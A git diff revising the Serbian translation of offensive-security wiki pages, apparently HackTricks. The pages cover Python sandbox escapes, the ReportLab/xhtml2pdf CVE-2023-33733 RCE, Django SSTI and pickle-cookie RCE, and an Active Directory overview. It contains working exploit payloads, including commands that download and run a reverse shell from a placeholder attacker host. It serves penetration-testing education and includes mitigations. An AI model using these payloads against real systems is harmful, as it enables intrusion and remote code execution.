+## Kompajliranje Pythona

-Sada, zamislimo da nekako možete **dump the information about a function that you cannot execute** ali je **morate** **execute**.\
-Kao u sledećem primeru, **možete pristupiti code object** te funkcije, ali samo čitajući disassemble **ne znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_)
+Sada zamislimo da na neki način možete **dump the information about a function that you cannot execute**, ali morate da je **izvršite**.\
+Kao u sledećem primeru, možete **access the code object** te funkcije, ali samo čitajući disassemble ne znate kako da izračunate flag (_zamislite složeniju `calc_flag` funkciju_)
 ```python
 def get_flag(some_input):
 var1=1
@ -946,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
 else:
 return "Nope"
 ```
-### Kreiranje code objekta
+### Kreiranje code object

-Prvo, moramo znati **kako kreirati i izvršiti code object** kako bismo mogli kreirati jedan koji će izvršiti našu leaked funkciju:
+Prvo, moramo znati **kako kreirati i izvršiti code object** da bismo mogli napraviti jedan koji će izvršiti našu function leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -968,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> U zavisnosti od verzije python-a, **parametri** `code_type` mogu imati **drugi redosled**. Najbolji način da saznaš redosled parametara u verziji python-a koju pokrećeš je da pokreneš:
+> U zavisnosti od verzije python-a, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji python-a koju pokrećete je da pokrenete:
 >
 > ```
 > import types
@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'
 > ```

-### Ponovno kreiranje leaked funkcije
+### Rekreiranje leaked funkcije

 > [!WARNING]
-> U sledećem primeru uzećemo sve podatke potrebne da ponovo kreiramo funkciju direktno iz njenog function code object-a. U **pravom primeru**, sve **vrednosti** potrebne za izvršavanje funkcije **`code_type`** su ono što ćete morati da leak-ujete.
+> U sledećem primeru preuzećemo sve podatke potrebne za rekreiranje funkcije direktno iz code objekta funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršavanje funkcije **`code_type`** su ono što **you will need to leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -990,12 +990,12 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Bypass Defenses
+### Zaobilaženje odbrane

-U prethodnim primerima na početku ovog posta možete videti **how to execute any python code using the `compile` function**. To je interesantno zato što možete **izvršavati cele skripte** sa petljama i svime u **jednoj liniji** (i isto bismo mogli uraditi koristeći **`exec`**).\
-U svakom slučaju, ponekad može biti korisno **kreirati** **kompajlirani objekat** na lokalnoj mašini i izvršiti ga na **CTF machine** (na primer zato što nemamo `compiled` funkciju na CTF-u).
+U prethodnim primerima na početku ovog posta možete videti **kako izvršiti bilo koji python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti cele skripte** sa petljama i svime u **one liner** (i isto bismo mogli uraditi koristeći **`exec`**).\
+U svakom slučaju, ponekad može biti korisno da **kreirate** **compiled object** na lokalnoj mašini i izvršite ga na **CTF machine** (na primer zato što nemamo funkciju `compiled` u CTF-u).

-Na primer, hajde da kompajliramo i ručno izvršimo funkciju koja čita _./poc.py_:
+Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
 ```python
 #Locally
 def read():
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Ako ne možete da pristupite `eval` ili `exec`, možete kreirati **pravu funkciju**, ali njen direktan poziv obično neće uspeti sa: _constructor not accessible in restricted mode_. Zato vam treba **funkcija van ograničenog okruženja koja će pozvati ovu funkciju.**
+Ako ne možete da pristupite `eval` ili `exec`, možete napraviti **pravu funkciju**, ali direktno pozivanje obično neće uspeti sa: _constructor not accessible in restricted mode_. Zato vam treba **funkcija koja nije u ograničenom okruženju da pozove ovu funkciju.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1030,9 +1030,9 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Decompiling Compiled Python
+## Dekompajliranje kompajliranog Python koda

-Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **decompile** dati kompajlirani Python kod.
+Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **dekompajlirati** dati kompajlirani Python kod.

 **Pogledajte ovaj tutorijal**:

@ -1041,12 +1041,12 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de
 ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}

-## Razno Python
+## Ostalo (Python)

 ### Assert

-Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti asset statements i bilo koji kod uslovljen vrednošću **debug**.\
-Stoga, provere kao
+Python pokrenut sa optimizacijama pomoću parametra `-O` će ukloniti assert izjave i bilo koji kod koji je uslovljen vrednošću **debug**.\
+Zbog toga, provere poput
 ```python
 def check_permission(super_user):
 try:
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -2,52 +2,52 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab’s rl_safe_eval koji koriste xhtml2pdf i drugi PDF-generacioni pipeline-ovi pri renderovanju korisnički kontrolisanog HTML-a u PDF.
+Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab-ovom rl_safe_eval koji koristi xhtml2pdf i druge PDF-generacione pipeline-ove pri renderovanju korisnički kontrolisanog HTML-a u PDF.

-CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti umotane u triple brackets [[[ ... ]]] se evaluiraju server-side pomoću rl_safe_eval. Kreiranjem payload-a koji pivotira od whitelisted builtin-a (pow) ka njegovim Python function globals, napadač može doći do modula os i izvršavati komande.
+CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti obavijene u triple brackets [[[ ... ]]] se evaluiraju na serveru pomoću rl_safe_eval. Kreiranjem payload-a koji pivota od dozvoljenog builtin-a (pow) ka njegovim Python funkcijskim globals, napadač može doći do modula os i izvršiti komande.

 Ključne tačke
- Trigger: injektovati [[[ ... ]]] u evaluirane atribute kao što je <font color="..."> unutar markupa koji parsira ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval zamenjuje opasne builtin-e, ali evaluirane funkcije i dalje izlažu __globals__.
- Bypass: napraviti transient klasu Word da se zaobiđu rl_safe_eval provere imena i pristupi stringu "__globals__" dok se izbegava blokiranje dunder-a.
+- Trigger: ubacite [[[ ... ]]] u evaluirane atribute kao što je <font color="..."> unutar markup-a koji parsira ReportLab/xhtml2pdf.
+- Sandbox: rl_safe_eval zamenjuje opasne builtine, ali evaluirane funkcije i dalje izlažu __globals__.
+- Bypass: kreirajte tranzitornu klasu Word da zaobiđete rl_safe_eval provere imena i pristupite stringu "__globals__" dok izbegavate filtriranje blokiranih dunder imena.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilnost: Vratiti validnu vrednost za atribut posle izvršenja (za color, koristiti 'red').
+- Stabilnost: Vratite validnu vrednost za atribut nakon izvršenja (za color, koristite na primer 'red').

 Kada testirati
- Aplikacije koje izlažu HTML-to-PDF eksport (profili, invoices, reports) i u PDF metadata ili HTTP response komentarima pokazuju xhtml2pdf/ReportLab.
+- Aplikacije koje izlažu HTML-to-PDF export (profile, invoices, reports) i gde se u PDF metadata ili HTTP odgovorima vidi xhtml2pdf/ReportLab.
 - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP odgovor za PDF često počinje ReportLab generator komentarom
+- HTTP odgovor za PDF često počinje komentarom generatora iz ReportLab-a

-Kako zaobilaženje sandboksa funkcioniše
- rl_safe_eval uklanja ili zamenjuje mnoge builtin-e (getattr, type, pow, ...) i primenjuje filtriranje imena da bi zabranio atribute koji počinju sa __ ili koji su na denylisti.
- Međutim, sigurne funkcije žive u globals dictionary dostupnom kao func.__globals__.
- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa mutiranim ponašanjem poredjenja tako da:
-  - .startswith('__') → uvek False (zaobilaženje provere name startswith('__'))
-  - .__eq__ vraća False samo pri prvom poređenju (zaobilaženje denylist membership provera) i True nakon toga (tako da Python getattr radi)
+Kako bypass sandboksa funkcioniše
+- rl_safe_eval uklanja ili zamenjuje mnoge builtine (getattr, type, pow, ...) i primenjuje filtriranje imena da odbije atribute koji počinju sa __ ili su u denylisti.
+- Međutim, sigurne funkcije žive u globals rečniku dostupnom kao func.__globals__.
+- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa izmenjenim ponašanjem poređenja tako da:
+  - .startswith('__') → uvek False (zaobilaženje provere startswith('__'))
+  - .__eq__ vraća False samo pri prvom poređenju (zaobilaženje provere članstva u denylisti) i True kasnije (tako da Python getattr radi)
  - .__hash__ je jednak hash(str(self))
- Na ovaj način getattr(pow, Word('__globals__')) vraća globals dict obavijenog pow funkcijom, koji uključuje importovan os modul. Zatim: ['os'].system('<cmd>').
+- Sa ovim, getattr(pow, Word('__globals__')) vraća globals dict omotane pow funkcije, koji uključuje importovani os modul. Zatim: ['os'].system('<cmd>').

-Minimalni obrazac eksploatacije (primer atributa)
-Postavite payload unutar evaluiranog atributa i obezbedite da vrati validnu vrednost atributa putem boolean i 'red'.
+Minimalni obrazac eksploatacije (primer za atribut)
+Postavite payload unutar evaluiranog atributa i osigurajte da vrati validnu vrednost atributa preko boolean i 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- Oblik list-comprehension omogućava jedini izraz prihvatljiv za rl_safe_eval.
- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne pukne.
- Zamenite komandu po potrebi; koristite ping za validaciju izvršenja uz tcpdump.
+- Obrazac sa list-comprehension dozvoljava jedini izraz prihvatljiv za rl_safe_eval.
+- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne puca.
+- Zamenite komandu po potrebi; koristite ping da potvrdite izvršenje pomoću tcpdump-a.

-Operativni tok rada
+Operativni workflow
 1) Identifikujte PDF generator
- PDF Producer prikazuje xhtml2pdf; HTTP response sadrži ReportLab komentar.
-2) Pronađite input reflektovan u PDF (npr. profile bio/description) i pokrenite eksport.
-3) Verifikujte izvršenje sa niskim nivoom buke ICMP-om
+- PDF Producer prikazuje xhtml2pdf; HTTP odgovor sadrži ReportLab komentar.
+2) Pronađite input koji se reflektuje u PDF (npr. profile bio/description) i pokrenite export.
+3) Verifikujte izvršenje sa niskim šumom koristeći ICMP
 - Pokrenite: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
- Windows često po defaultu šalje tačno četiri echo zahteva.
+- Windows često pošalje tačno četiri echo zahteva po defaultu.
 4) Uspostavite shell
- Za Windows, pouzdani dvostepeni pristup izbegava probleme sa citiranjem/enkodiranjem:
+- Za Windows, pouzdan dvofazni pristup izbegava probleme sa quoting/encoding:
 - Stage 1 (download):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
@ -56,19 +56,19 @@ Operativni tok rada

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Za Linux ciljeve, slična dvofazna procedura sa curl/wget je moguća:
+- Za Linux meta, sličan dvofazni pristup sa curl/wget je moguć:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Napomene i saveti
- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u takođe mogu evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
- Citiranje: Držite komande kompaktne. Dvofazna preuzimanja značajno smanjuju probleme sa citiranjem i escape-ovanjem.
- Pouzdanost: Ako su eksporti keširani ili u redu, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.
+- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u mogu takođe evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
+- Quoting: Držite komande kompaktne. Dvofazni download značajno smanjuje probleme sa quoting-om i escaping-om.
+- Pouzdanost: Ako su exporti keširani ili stavljeni u red, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.

-Ublažavanje i detekcija
- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosna obaveštenja i u paketima distribucija.
- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez stroge sanitizacije. Uklonite/zabranite [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepoverljiv.
- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval u potpunosti za nepoverljive inpute.
- Monitorišite sumnjive outbound konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa aplikacionih servera pri eksportovanju dokumenata).
+Mitigacije i detekcija
+- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosne advisore i u paketima distribucije.
+- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez striktne sanitizacije. Uklonite/odbijte [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepouzdan.
+- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval za nepouzdane inpute.
+- Monitorišite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa app servera dok se exportuju dokumenti).

 References
 - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -3,42 +3,42 @@
 {{#include ../../banners/hacktricks-training.md}}

 ## Cache Manipulation to RCE
-Podrazumevani način čuvanja cache-a u Django-u je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za upis u cache, može eskalirati ovu ranjivost u RCE na osnovnom serveru**.
+Django-ov podrazumevani metod skladištenja cache-a su Python pickles, što može dovesti do RCE ako se untrusted input unpickle-uje. **Ako napadač dobije write pristup cache-u, može eskalirati ovu ranjivost do RCE na osnovnom serveru**.

-Django cache se čuva na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili u [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache koji se čuva u Redis serveru ili bazi podataka predstavlja najverovatnije vektore napada (Redis injection i SQL injection), ali napadač takođe može iskoristiti file-based cache da pretvori proizvoljni upis u RCE. Održavaoci su ovo označili kao non-issue. Važno je napomenuti da će folder sa cache fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
+Django cache se čuva na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili u [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache koji se čuva na Redis serveru ili u bazi predstavlja najverovatnije vektore napada (Redis injection i SQL injection), ali napadač takođe može iskoristiti file-based cache da pretvori arbitrarno pisanje u RCE. Maintainers su ovo označili kao non-issue. Važno je napomenuti da će folder za cache fajlove, naziv SQL tabele i detalji Redis servera zavisiti od implementacije.

-Ovaj HackerOne izveštaj daje odličan, ponovljiv primer iskorišćavanja Django cache-a koji se čuva u SQLite bazi: https://hackerone.com/reports/1415436
+Ovaj HackerOne izveštaj daje sjajan, reproducibilan primer eksploatisanja Django cache-a koji se čuva u SQLite bazi: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-Django Template Language (DTL) je **Turing-complete**. Ako se podaci koje korisnik prosledi renderuju kao *template string* (na primer pozivom `Template(user_input).render()` ili kada `|safe`/`format_html()` ukloni automatsko escapovanje), napadač može postići potpun SSTI → RCE.
+Django Template Language (DTL) je **Turing-complete**. Ako se podaci koje korisnik unese renderuju kao *template string* (na primer pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` ukloni auto-escaping), napadač može postići puni SSTI → RCE.

-### Detection
-1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koji* nesanitizovani podatak iz zahteva.
-2. Pošaljite time-based ili arithmetic payload:
+### Detekcija
+1. Potražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koje* ne-sanitizovane podatke iz request-a.
+2. Pošaljite time-based ili aritmetički payload:
 ```django
 {{7*7}}
 ```
-Ako renderovani izlaz sadrži `49`, ulaz je kompajliran od strane template engine-a.
+Ako renderovani output sadrži `49` ulaz je kompajliran od strane template engine-a.

 ### Primitiv za RCE
-Django blokira direktan pristup `__import__`, ali Python graf objekata je dostupan:
+Django blokira direktan pristup `__import__`, ali Python object graph je dostupan:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
-Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python builda) i izvršite proizvoljne komande:
+Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python build-a) i izvršite proizvoljne komande:
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Sigurniji univerzalni gadget je iterirati dok `cls.__name__ == 'Popen'`.
+Bezbedniji univerzalni gadget je ponavljati dok `cls.__name__ == 'Popen'`.

-Isti gadget radi za **Debug Toolbar** ili **Django-CMS** template rendering funkcije koje neispravno rukovode korisničkim unosom.
+Isti gadget radi za **Debug Toolbar** ili **Django-CMS** funkcije za renderovanje template-a koje nepravilno obrađuju korisnički unos.

 ---

 ### Takođe vidi: ReportLab/xhtml2pdf PDF export RCE
-Aplikacije izgrađene na Django često integrišu xhtml2pdf/ReportLab za izvoz prikaza u PDF. Kada HTML pod kontrolom korisnika dospe u generisanje PDF-a, rl_safe_eval može evaluirati izraze unutar trostrukih zagrada `[[[ ... ]]]`, omogućavajući izvršavanje koda (CVE-2023-33733). Detalji, payloads i mitigations:
+Aplikacije izgrađene na Django-u često integrišu xhtml2pdf/ReportLab za izvoz view-ova kao PDF. Kada HTML pod kontrolom korisnika dospe u generisanje PDF-a, rl_safe_eval može evaluirati izraze unutar trostrukih zagrada `[[[ ... ]]]`, omogućavajući izvršavanje koda (CVE-2023-33733). Detalji, payloads i mitigacije:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -47,9 +47,9 @@ Aplikacije izgrađene na Django često integrišu xhtml2pdf/ReportLab za izvoz p
 ---

 ## Pickle-Backed Session Cookie RCE
-Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili custom serializer koji deserializuje pickle), Django *decrypts and unpickles* session cookie **pre** pozivanja bilo kog view koda. Dakle, posedovanje važećeg signing key-a (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu remote code execution.
+Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili se koristi custom serializer koji deserializuje pickle), Django *decrypts and unpickles* the session cookie **pre nego što** pozove bilo koji view kod. Dakle, posedovanje validnog signing key-a (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutni remote code execution.

-### Exploit Requirements
+### Exploit zahtevi
 * Server koristi `PickleSerializer`.
 * Napadač zna / može pogoditi `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).

@ -67,22 +67,22 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Pošaljite dobijeni cookie — payload se izvršava sa privilegijama WSGI workera.
+Pošaljite dobijeni cookie, i payload se izvršava sa privilegijama WSGI worker-a.

-**Mitigations**: Zadržite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
+**Mitigations**: Zadržite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY`, i konfigurišite `SESSION_COOKIE_HTTPONLY`.

 ---

-## Nedavni (2023-2025) CVE-ovi za Django visokog uticaja koje Pentesters treba da provere
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (ispravljeno 4. jun 2025). Omogućava napadačima da ubace newlines/ANSI kodove u log fajlove i zagade naknadnu analizu logova. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Kreiranjem JSON ključeva moguće je prekinuti citiranje i izvršiti proizvoljan SQL. Ispravljeno u verzijama 4.2.15 / 5.0.8.
+## Nedavni (2023-2025) Django CVE-ovi visokog uticaja koje Pentesters treba da provere
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (ispravljeno 4. jun 2025). Omogućava napadačima da ubace newlines/ANSI codes u log fajlove i zatrovaju downstream log analysis. Nivo patch-a ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Kreirajte JSON ključeve koji prekinu navodnike i izvrše proizvoljni SQL. Ispravljeno u 4.2.15 / 5.0.8.

-Uvek identifikujte tačnu verziju framework-a pomoću stranice greške za `X-Frame-Options` ili hasha `/static/admin/css/base.css` i testirajte gore navedeno gde je primenljivo.
+Uvek fingerprint-ujte tačnu verziju frameworka preko `X-Frame-Options` error page ili `/static/admin/css/base.css` hash-a i testirajte gore navedeno gde je primenljivo.

 ---

-## Reference
-* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
+## References
+* Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
 * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
 * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -1,58 +1,58 @@
-# Active Directory Metodologija
+# Metodologija Active Directory-a

 {{#include ../../banners/hacktricks-training.md}}

 ## Osnovni pregled

-**Active Directory** predstavlja osnovnu tehnologiju koja omogućava **mrežnim administratorima** da efikasno kreiraju i upravljaju **domenima**, **korisnicima** i **objektima** unutar mreže. Dizajniran je da bude skalabilan, omogućavajući organizovanje velikog broja korisnika u upravljive **grupe** i **podgrupe**, uz kontrolu **prava pristupa** na različitim nivoima.
+**Active Directory** predstavlja osnovnu tehnologiju koja omogućava **network administrators** da efikasno kreiraju i upravljaju **domains**, **users**, i **objects** unutar mreže. Dizajniran je za skaliranje, olakšavajući organizovanje velikog broja korisnika u upravljive **groups** i **subgroups**, dok kontroliše **access rights** na različitim nivoima.

-Struktura **Active Directory** se sastoji od tri primarna sloja: **domeni**, **stabla** i **šume**. **Domen** obuhvata skup objekata, kao što su **korisnici** ili **uređaji**, koji dele zajedničku bazu podataka. **Stabla** su grupe ovih domena povezane zajedničkom hijerarhijom, a **šuma** predstavlja kolekciju više stabala međusobno povezanih putem **trust relationships**, formirajući najviši nivo organizacione strukture. Specifična **prava pristupa** i **komunikaciona prava** mogu se dodeliti na svakom od ovih nivoa.
+Struktura **Active Directory** se sastoji iz tri primarna sloja: **domains**, **trees**, i **forests**. **Domain** obuhvata kolekciju objekata, kao što su **users** ili **devices**, koji dele zajedničku bazu podataka. **Trees** su grupe tih domena povezane zajedničkom strukturom, a **forest** predstavlja kolekciju više trees, međusobno povezane kroz **trust relationships**, čineći najviši nivo organizacione strukture. Specifična **access** i **communication rights** mogu biti dodeljena na svakom od tih nivoa.

 Ključni koncepti unutar **Active Directory** uključuju:

-1. **Direktorijum** – Sadrži sve informacije vezane za Active Directory objekte.
-2. **Objekat** – Označava entitete u direktorijumu, uključujući **korisnike**, **grupe**, ili **deljene foldere**.
-3. **Domen** – Služi kao kontejner za direktorijumske objekte; moguće je imati više domena unutar **šume**, svaki sa sopstvenom kolekcijom objekata.
-4. **Stablo** – Grupisanje domena koja dele zajednički root domen.
-5. **Šuma** – Najviši nivo organizacione strukture u Active Directory, sastavljena od više stabala sa međusobnim **trust relationships**.
+1. **Directory** – Sadrži sve informacije vezane za Active Directory objekate.
+2. **Object** – Označava entitete unutar direktorijuma, uključujući **users**, **groups**, ili **shared folders**.
+3. **Domain** – Služi kao kontejner za directory objekte, pri čemu više domena može koegzistirati unutar **forest**, svaki zadržavajući svoju kolekciju objekata.
+4. **Tree** – Grupisanje domena koji dele zajednički root domain.
+5. **Forest** – Najviši stepen organizacione strukture u Active Directory, sastavljen od više trees sa **trust relationships** između njih.

-**Active Directory Domain Services (AD DS)** obuhvata niz servisa kritičnih za centralizovano upravljanje i komunikaciju unutar mreže. Ti servisi uključuju:
+**Active Directory Domain Services (AD DS)** obuhvata niz servisa kritičnih za centralizovano upravljanje i komunikaciju unutar mreže. Ovi servisi obuhvataju:

-1. **Domain Services** – Centralizuje skladištenje podataka i upravlja interakcijama između **korisnika** i **domena**, uključujući **autentifikaciju** i **pretragu**.
-2. **Certificate Services** – Nadgleda kreiranje, distribuciju i upravljanje sigurnim **digitalnim sertifikatima**.
-3. **Lightweight Directory Services** – Podržava aplikacije koje koriste direktorijum preko **LDAP protocol**.
+1. **Domain Services** – Centralizuje skladištenje podataka i upravlja interakcijama između **users** i **domains**, uključujući **authentication** i **search** funkcionalnosti.
+2. **Certificate Services** – Nadgleda kreiranje, distribuciju i upravljanje sigurnim **digital certificates**.
+3. **Lightweight Directory Services** – Podržava directory-enabled aplikacije kroz **LDAP protocol**.
 4. **Directory Federation Services** – Pruža **single-sign-on** mogućnosti za autentifikaciju korisnika preko više web aplikacija u jednoj sesiji.
-5. **Rights Management** – Pomaže u zaštiti autorskih materijala regulisanjem neovlašćene distribucije i upotrebe.
-6. **DNS Service** – Ključno za rezoluciju **domain names**.
+5. **Rights Management** – Pomaže u zaštiti copyright materijala regulisanjem njegove neovlašćene distribucije i upotrebe.
+6. **DNS Service** – Presudna za razrešavanje **domain names**.

-For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
+Za detaljnije objašnjenje pogledajte: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

